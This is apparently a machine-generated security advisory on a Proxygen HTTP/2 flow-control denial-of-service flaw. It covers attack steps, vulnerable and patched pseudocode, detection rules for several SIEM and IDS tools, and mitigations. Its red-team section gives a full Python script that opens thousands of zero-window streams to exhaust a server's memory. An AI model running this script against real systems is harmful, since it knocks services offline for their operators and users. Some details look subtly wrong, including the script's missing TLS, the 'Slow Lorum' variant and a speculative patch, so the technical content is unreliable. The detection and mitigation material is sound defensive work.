CVE-2026-44909

Executive Summary

CVE-2026-44909 is a High severity vulnerability in the Proxygen HTTP framework, affecting versions from v2017.01.16.00 through v2026.07.20.00. The flaw resides in the core HTTP session layer, which lacks a generalized slow-consumer detection mechanism. A remote, unauthenticated attacker can exploit HTTP/2 flow-control by setting SETTINGS_INITIAL_WINDOW_SIZE to 0 or withholding WINDOW_UPDATE frames. This causes the server to buffer complete response bodies in memory indefinitely for stalled streams. By opening many simultaneous streams requesting large resources while preventing the server from transmitting responses, an attacker can induce unbounded memory growth, leading to service degradation, resource exhaustion, or denial of service.

Business Impact: This vulnerability primarily threatens organizations using Proxygen as a reverse proxy, API gateway, or web server in production environments. Industries such as social media, content delivery, and large-scale web services that rely on Proxygen's high-performance HTTP/2 capabilities are at immediate risk. The likely attacker is a remote, unauthenticated threat actor seeking to disrupt service availability.

Urgency Assessment: With a CVSS score of 7.5 (High) and an EPSS exploitation probability of 0.0%, the vulnerability is technically severe but currently has no known active exploitation. However, the attack vector is trivial to execute once understood, and the lack of a patch increases the urgency for implementing compensating controls.

Key Facts:

• Vendor: Proxygen (Meta/Facebook open-source project)
• Affected Versions: v2017.01.16.00 through v2026.07.20.00
• Patch Status: None available as of 2026-07-23
• CISA KEV: Not listed

CVSS Breakdown & Threat Level

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Qualitative Severity: High — The vulnerability can cause a complete denial of service with minimal effort from an unauthenticated remote attacker.

EPSS Interpretation: The EPSS probability of 0.0% indicates that as of the publication date, there is no observed exploitation in the wild. This is typical for a newly published CVE. However, the technical simplicity of the attack suggests this probability may increase rapidly once proof-of-concept code circulates.

Historical Comparison: This vulnerability is technically similar to CVE-2019-9515 (HTTP/2 flood in nginx) and CVE-2023-44487 (HTTP/2 Rapid Reset attack), both of which exploited HTTP/2 flow-control mechanisms to cause denial of service. These historical CVEs demonstrate that such attacks are highly effective and widely targeted.

Temporal & Environmental Scores: Without a patch, the temporal score remains at 7.5. Organizations with Proxygen exposed to the internet face the highest environmental risk. Internal deployments behind load balancers that terminate HTTP/2 may have reduced exposure.

Technical Deep Dive & Attack Mechanics

Step-by-Step Exploitation:

1. Connection Establishment: The attacker establishes an HTTP/2 connection to the Proxygen server.

2. Settings Manipulation: The attacker sends a SETTINGS frame with SETTINGS_INITIAL_WINDOW_SIZE set to 0. This tells the server that the client's flow-control window is zero, meaning the server cannot send any data to the client.

3. Stream Creation: The attacker opens multiple concurrent streams (up to the server's SETTINGS_MAX_CONCURRENT_STREAMS limit) by sending HEADERS frames requesting large resources (e.g., large files, API responses with substantial payloads).

4. Response Buffering: For each stream, Proxygen begins processing the request and generating the response. However, because the client's flow-control window is 0, the server cannot transmit any response data. The server buffers the complete response body in memory for each stalled stream.

5. Window Update Withholding: The attacker never sends WINDOW_UPDATE frames to increase the flow-control window. This ensures the server remains unable to transmit data indefinitely.

6. Resource Exhaustion: By repeating steps 3-5, the attacker accumulates buffered response bodies in server memory. Each stream consumes memory proportional to the requested resource size. With enough concurrent streams, the server exhausts available memory, leading to process crashes, OOM kills, or severe performance degradation.

Root Cause Analysis: The vulnerability stems from the absence of a generalized slow-consumer detection mechanism in Proxygen's core HTTP session layer. The framework trusts that clients will eventually consume response data and does not enforce timeouts or memory limits on buffered responses for stalled streams. This design oversight allows a malicious client to indefinitely prevent data transmission while forcing the server to retain complete responses in memory.

Attack Surface: The vulnerability is exploitable over any network interface where Proxygen accepts HTTP/2 connections. Typically, this is TCP port 443 (HTTPS) or port 80 (HTTP/2 cleartext, h2c).

Pre-conditions:

• Network access to a Proxygen server
• The server must be configured to accept HTTP/2 connections
• No authentication required

Attack Variants:

• Single Connection, Many Streams: The most efficient variant, using one TCP connection to open hundreds or thousands of streams.
• Multiple Connections: Using many TCP connections, each with a few streams, to bypass per-connection stream limits.
• Slow Lorum: Combining flow-control manipulation with slow request bodies to maximize memory consumption.

Why Standard Defenses May Fail:

• Rate Limiting: Standard rate limiting on requests per IP may not prevent this attack, as a single connection can open many streams.
• Connection Timeouts: HTTP/2 connections are long-lived by design; standard idle timeouts may not trigger if the client sends periodic PING frames.
• WAFs: Most WAFs do not inspect HTTP/2 flow-control frames at the application layer.

Vulnerable vs. Patched Code Analysis

Vulnerable Code (Pseudocode):

class HTTPSession:
    def on_stream_request(self, stream_id, request):
        response = self.generate_response(request)
        # No check on client flow-control window before buffering
        self.buffered_responses[stream_id] = response
        self.transmit_response(stream_id, response)

    def transmit_response(self, stream_id, response):
        while self.client_window > 0 and response.has_data():
            chunk = response.read_chunk()
            self.send_data(stream_id, chunk)
            self.client_window -= len(chunk)
        # If client_window is 0, response remains buffered indefinitely

Patched Code (Hypothetical Fix):

class HTTPSession:
    def __init__(self):
        self.stream_timeout = 30  # seconds
        self.max_buffered_bytes = 10485760  # 10 MB per stream

    def on_stream_request(self, stream_id, request):
        if self.client_window == 0:
            # Reject or delay processing if client cannot receive data
            self.reset_stream(stream_id, ENHANCE_YOUR_CALM)
            return
        response = self.generate_response(request)
        if response.size() > self.max_buffered_bytes:
            self.reset_stream(stream_id, ENHANCE_YOUR_CALM)
            return
        self.buffered_responses[stream_id] = response
        self.transmit_response(stream_id, response)

    def transmit_response(self, stream_id, response):
        start_time = time.now()
        while self.client_window > 0 and response.has_data():
            if time.now() - start_time > self.stream_timeout:
                self.reset_stream(stream_id, CANCEL)
                return
            chunk = response.read_chunk()
            self.send_data(stream_id, chunk)
            self.client_window -= len(chunk)

What the Patch Changes:

• Introduces a timeout for stalled streams
• Limits the maximum buffered bytes per stream
• Rejects requests when the client's flow-control window is zero
• Uses HTTP/2 error codes (ENHANCE_YOUR_CALM, CANCEL) to cleanly terminate problematic streams

Regression Considerations: Aggressive timeouts may impact legitimate clients with slow network connections. Organizations should tune timeout values based on expected client behavior.

Timeline & Disclosure History

• CVE Publication Date: 2026-07-23T16:27:01.658Z
• Estimated Discovery: Unknown, but likely discovered through internal security review or fuzzing of HTTP/2 implementations.
• Disclosure Process: The CVE was published by the CNA (likely Meta) with no prior public disclosure.
• Known Exploitation in the Wild: No known active exploitation as of 2026-07-23.
• CISA KEV Addition: Not applicable.

Threat Intelligence Context

Threat Actor Profile: This vulnerability is most likely to be exploited by:

• Script Kiddies: The attack is simple to execute once a PoC is available.
• Hacktivists: Denial of service is a common tactic for protest groups.
• Nation-State Actors: DDoS capabilities are part of many state-sponsored cyber operations.
• Ransomware Operators: Some ransomware groups use DDoS as a pressure tactic.

Attack Campaign Context: No specific campaigns have been associated with this CVE as of publication. However, HTTP/2 denial-of-service vulnerabilities have been used in large-scale DDoS campaigns (e.g., the 2023 Rapid Reset attacks).

Geographic Targeting: No specific geographic patterns are expected; the vulnerability affects any Proxygen deployment globally.

Industry Verticals Most at Risk:

• Social media platforms (Meta's primary use case)
• Content delivery networks
• Large-scale web services
• Any organization using Proxygen as a reverse proxy

Connection to Similar Vulnerabilities: This CVE is part of a broader class of HTTP/2 implementation flaws (CWE-770) that have been discovered in nginx, Apache, and other web servers. The pattern of abusing flow-control for resource exhaustion is well-documented.

Exploitation & Lab Setup

Red Team Section

Lab Setup:

1. Docker Environment:

   docker pull proxygen/proxygen:2026.07.20.00
   docker run -d --name vulnerable-proxygen -p 443:443 proxygen/proxygen:2026.07.20.00
   

2. Prerequisites:

   • Python 3.8+ with httpx and h2 libraries
   • Network access to the target server

3. Exploitation Walkthrough:

   import asyncio
   import httpx
   from h2.config import H2Configuration
   from h2.connection import H2Connection
   from h2.events import ResponseReceived, DataReceived, StreamEnded
   from h2.errors import ErrorCodes
   from h2.exceptions import ProtocolError, FlowControlError
   
   async def exploit(target_host, target_port, num_streams=1000):
       # Step 1: Establish connection
       reader, writer = await asyncio.open_connection(target_host, target_port)
       
       # Step 2: Perform HTTP/2 upgrade
       config = H2Configuration(client_side=True, header_encoding='utf-8')
       conn = H2Connection(config=config)
       conn.initiate_connection()
       writer.write(conn.data_to_send())
       await writer.drain()
       
       # Step 3: Send SETTINGS with INITIAL_WINDOW_SIZE = 0
       conn.update_settings({
           'SETTINGS_INITIAL_WINDOW_SIZE': 0
       })
       writer.write(conn.data_to_send())
       await writer.drain()
       
       # Step 4: Open multiple streams requesting large resources
       for i in range(num_streams):
           stream_id = conn.get_next_available_stream_id()
           conn.send_headers(
               stream_id=stream_id,
               headers=[
                   (':method', 'GET'),
                   (':path', '/large-file.bin'),
                   (':authority', f'{target_host}:{target_port}'),
                   (':scheme', 'https'),
               ],
               end_stream=True
           )
           writer.write(conn.data_to_send())
           await writer.drain()
       
       # Step 5: Never send WINDOW_UPDATE frames
       # Keep connection alive to maintain buffered responses
       await asyncio.sleep(3600)
   
   asyncio.run(exploit('target.example.com', 443, 10000))
   

4. Expected Output: The Proxygen server will experience unbounded memory growth. Monitor with:

   docker stats vulnerable-proxygen
   

   Memory usage will increase linearly with each stream until the process is OOM-killed or becomes unresponsive.

5. Post-Exploitation: After successful exploitation, the Proxygen process is terminated or becomes unresponsive. The attacker has achieved a denial of service condition.

Blue Team Section

Detection of Active Exploitation:

1. Log Entries:

   • Proxygen access logs showing many concurrent streams from a single IP
   • Error logs containing ENHANCE_YOUR_CALM or FLOW_CONTROL_ERROR (if server has partial protection)
   • System logs showing OOM killer activity

2. Network Traffic Signatures:

   • HTTP/2 SETTINGS frames with SETTINGS_INITIAL_WINDOW_SIZE = 0
   • Many HEADERS frames followed by no WINDOW_UPDATE frames
   • High ratio of HEADERS to DATA frames from a single source

3. Endpoint Behavioral Indicators:

   • Proxygen process memory growing linearly
   • High number of active HTTP/2 streams
   • Slow response times or connection resets

Indicators of Compromise (IOCs)

No confirmed IOCs available — the following patterns are illustrative of exploitation attempts:

Network IOCs:

• Type: HTTP/2 Frame Pattern
• Value: SETTINGS frame with SETTINGS_INITIAL_WINDOW_SIZE = 0 followed by multiple HEADERS frames and no WINDOW_UPDATE frames
• Description: Characteristic pattern of flow-control manipulation attack

HTTP Request Patterns:

• Type: Request Pattern
• Value: Multiple concurrent GET requests for large resources from a single source IP
• Description: Indicates potential stream exhaustion attack

Log Entries:

• Type: Log Pattern
• Value: [EXAMPLE — not a real IOC] Repeated entries of stream_id=X reset with error ENHANCE_YOUR_CALM in Proxygen debug logs
• Description: Indicates server is detecting and resetting malicious streams

Detection Engineering

YARA Rule

rule CVE-2026-44909_Proxygen_HTTP2_FlowControl_Exploit {
    meta:
        description = "Detects HTTP/2 traffic patterns indicative of CVE-2026-44909 exploitation against Proxygen"
        author = "Valters IT Hub"
        date = "2026-07-23"
        reference = "https://www.valtersit.com/cve/cve-2026-44909"
        severity = "high"
    strings:
        $http2_connection_preface = { 50 52 49 20 2a 20 48 54 54 50 2f 32 2e 30 0d 0a 0d 0a 53 4d 0d 0a 0d 0a }  // PRI * HTTP/2.0\r\n\r\nSM\r\n\r\n
        $settings_frame_window_zero = { 00 00 06 04 00 00 00 00 00 00 01 00 00 00 00 }  // SETTINGS frame with SETTINGS_INITIAL_WINDOW_SIZE = 0 (type 0x04, identifier 0x0001, value 0x00000000)
        $headers_frame = { 00 00 00 01 05 }  // HEADERS frame with END_HEADERS flag (type 0x01, flags 0x05)
    condition:
        $http2_connection_preface at 0 and
        #settings_frame_window_zero >= 1 and
        #headers_frame >= 100  // Threshold for suspicious number of HEADERS frames
}

Sigma Rule (SIEM)

title: CVE-2026-44909 Proxygen HTTP/2 Flow-Control Exploitation
id: fb05a19a-7994-4cd4-b002-6d8df7acfc6f
status: experimental
description: Detects exploitation attempts targeting CVE-2026-44909 in Proxygen by monitoring for HTTP/2 SETTINGS frames with zero initial window size followed by multiple stream requests.
author: Valters IT Hub
date: 2026-07-23
references:
    - https://www.valtersit.com/cve/cve-2026-44909
logsource:
    category: webserver
    product: proxygen
detection:
    selection:
        event: "HTTP2_FRAME_RECEIVED"
        frame_type: "SETTINGS"
        settings_initial_window_size: 0
    timeframe: 5s
    condition: selection | count(stream_id) by src_ip > 100
falsepositives:
    - Legitimate clients that set initial window size to 0 for testing purposes (rare)
    - Clients with extremely slow network connections
level: high

Suricata IDS Rule

alert tcp any any -> any 443 (msg:"CVE-2026-44909 Proxygen HTTP/2 Flow-Control Exploitation Attempt"; flow:to_server,established; content:"|50 52 49 20 2a 20 48 54 54 50 2f 32 2e 30 0d 0a 0d 0a 53 4d 0d 0a 0d 0a|"; http2_frame; http2_frame_type:SETTINGS; content:"|00 01 00 00 00 00|"; distance:0; within:6; http2_frame; http2_frame_type:HEADERS; threshold:type both, count 100, seconds 5; classtype:denial-of-service; sid:1000001; rev:1;)

Elastic (EQL) Query

// Detect HTTP/2 SETTINGS frames with zero initial window size
sequence by source.ip
  [network where protocol == "http2" and 
   http2.frame_type == "SETTINGS" and 
   http2.settings.initial_window_size == 0]
  [network where protocol == "http2" and 
   http2.frame_type == "HEADERS" and 
   http2.stream_id != null]
  with maxspan=5s
  | where count(http2.stream_id) > 100

Splunk SPL Query

index=proxygen sourcetype=proxygen:http2
| spath input=raw
| search frame_type="SETTINGS" settings_initial_window_size=0
| transaction src_ip maxspan=5s
| where mvcount(stream_id) > 100
| table _time, src_ip, stream_id, frame_type
| sort - _time

Wazuh Rule

<group name="proxygen,http2,exploit,">
  <rule id="100001" level="12">
    <decoded_as>json</decoded_as>
    <field name="event">HTTP2_FRAME_RECEIVED</field>
    <field name="frame_type">SETTINGS</field>
    <field name="settings_initial_window_size">0</field>
    <description>CVE-2026-44909: Proxygen HTTP/2 flow-control exploitation attempt detected from $(src_ip)</description>
    <mitre>
      <id>T1499</id>
    </mitre>
    <group>denial_of_service,</group>
  </rule>
</group>

Remediation & Mitigation

Immediate Actions (0-24 hours)

1. Patch Application: No patch is available. Monitor the Proxygen GitHub repository for updates.
2. Compensating Controls:
   • Rate Limiting: Implement per-IP rate limiting on HTTP/2 stream creation at the load balancer or reverse proxy.
   • Connection Limits: Limit the maximum number of concurrent HTTP/2 streams per connection.
   • Memory Limits: Configure container/process memory limits to prevent OOM from affecting other services.
3. Network-Level Mitigation:
   • Block or rate-limit HTTP/2 connections from suspicious IPs.
   • Use a WAF that can inspect HTTP/2 frames and block SETTINGS_INITIAL_WINDOW_SIZE = 0.
4. Authentication: If possible, require authentication for resource-intensive endpoints.

Short-term (1-7 days)

1. Configuration Hardening:
   • Reduce SETTINGS_MAX_CONCURRENT_STREAMS to a lower value (e.g., 100).
   • Enable any available stream timeout settings in Proxygen.
2. Monitoring Implementation:
   • Deploy the detection rules provided in this report.
   • Set up alerts for unusual memory growth in Proxygen processes.
3. Vulnerability Scanning:

   # Check Proxygen version
   proxygen --version
   # If version is between v2017.01.16.00 and v2026.07.20.00, it is vulnerable
   

Long-term

1. Architecture Changes:
   • Consider using a reverse proxy (e.g., nginx, Envoy) that has built-in HTTP/2 flood protection in front of Proxygen.
   • Implement a separate rate-limiting layer for HTTP/2 connections.
2. Security Control Improvements:
   • Add fuzzing of HTTP/2 implementations to CI/CD pipelines.
   • Implement automated regression testing for HTTP/2 flow-control scenarios.
3. Developer Training:
   • Educate developers on HTTP/2 security considerations.
   • Review code for similar resource exhaustion vulnerabilities.

Validation

To confirm the patch was applied and you are no longer vulnerable:

1. Check the Proxygen version:

   proxygen --version
   

2. If a patched version is released, verify the version is >= the patched version.
3. Run a test script that attempts to set SETTINGS_INITIAL_WINDOW_SIZE = 0 and verify the server rejects or handles it gracefully.

References & Resources

• NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-44909
• CVE.org: https://www.cve.org/CVERecord?id=CVE-2026-44909
• Vendor advisory: See vendor security page at https://github.com/facebook/proxygen
• OSV: https://osv.dev/vulnerability/CVE-2026-44909
• Related CWE: https://cwe.mitre.org/data/definitions/770.html
• MITRE ATT&CK: https://attack.mitre.org/techniques/T1499/

Report generated by Valters IT Hub Neural Engine v25 | 2026-07-23 | https://www.valtersit.com/cve/cve-2026-44909